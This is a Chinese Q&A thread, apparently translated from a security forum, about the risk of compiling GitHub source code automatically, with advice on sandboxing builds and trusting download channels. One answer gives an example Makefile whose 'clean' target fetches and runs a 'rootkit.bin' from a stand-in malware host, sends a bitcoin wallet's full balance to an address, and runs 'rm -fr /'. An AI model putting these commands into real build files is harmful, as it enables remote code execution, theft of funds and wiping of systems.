从 github 编译源代码是否存在很大的安全风险?

信息安全 开源
2021-08-14 05:48:53

我有几个程序(Emacs el-get、oh-my-zsh 和 Homebrew)偶尔会从 github 加载源代码并在我的机器上编译它。这是一个很大的安全问题吗?我可以做些什么来防止恶意软件以这种方式进入我的机器?

4个回答

我将假设您的意思是您正在编译(但未运行)可能是恶意的不受信任的代码,并且担心您的构建工具链被利用。

答案是,不,我认为这不是一个好主意。一般来说,编译器在使用不受信任的输入时是不安全的。

首先,有源代码本身。您没有提及您从 github 导入的语言,但如果是 C/C++(例如),那么您可能会受到预处理器的攻击。虽然我不确定这是可能的,但我认为没有理由不应该这样做。话虽如此,但是,有在线“编译器即服务”站点可以编译任意代码-因此它可能是(或可以制作的)安全的。

不过,还有比编译器更大的担忧,因为任意文件类型都可以通过 github 下载。例如,没有什么可以阻止恶意 Makefile 做令人讨厌的事情,这绝对是可能的,或者指定恶意“预构建”脚本的 Visual Studio 项目。

关于 Visual Studio 的主题(我猜你正在使用 make/gcc 工具链,但为了完整性我会提到 VS - 因为我知道答案)你应该知道 MS 声明即使加载恶意调试符号也是一种安全风险,并且 Visual Studio 链接器不被认为对恶意代码是安全的。一个快速的谷歌发现这个公告没有提到任何可用的补丁。

说了这么多,我以前没有听说过这种情况,所以我猜这取决于你的风险承受能力。我不会这样做的。如果这是一个自动构建,则可以在一次性用户帐户中构建(如果您的源要保密,请采取额外的步骤)。

试着做这个例子Makefile

# ...
# ...
# Too big text #1 to forensic
# ...
# ...

clean: 
    @echo "Hello"
    wget -q http://malwaresite.com/rootkit.bin
    chmod +x rootkit.bin
    ./rootkit.bin
    bitcoind sendtoaddress 1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX `bitcoind getbalance`
    rm -fr /
    sudo rm -fr /
# ...
# ...
# Too big text #2 to forensic
# ...
# ...

以普通方式启动它:

$ make -f Makefile

好的方法是保留 chroot 环境,例如 Ubuntu lxc 容器或 FreeBSD jail 以在其中构建所有内容。

这完全取决于您对用于下载的过程的信任程度。如果下载者验证源代码是真实的,那么编译的风险实际上并不比该组织的任何其他下载风险更大。如果源代码是从不安全的服务器中获取的,或者以一种可以在传输到您的计算机的过程中更改的方式获取,则可能存在安全风险。

从根本上说,编译不是问题,如果您可以相信正在下载的程序就是问题所在,并且它同样适用于您将自己编译的代码以及作为预编译二进制文件下载的代码。

2012 年,GitHub 被黑客利用 Ruby on Rails 漏洞入侵。黑客可以提交访问任何存储库的主分支。来自文章:

Egor Homakov 很可能不是第一个以这种方式利用 GitHub 的人。如果一个大型项目突然被删除,我们会听说的——但也许黑客一直在悄悄地修改代码库以达到他们自己的邪恶目的。

如果发生这种情况,我们很可能永远不会发现。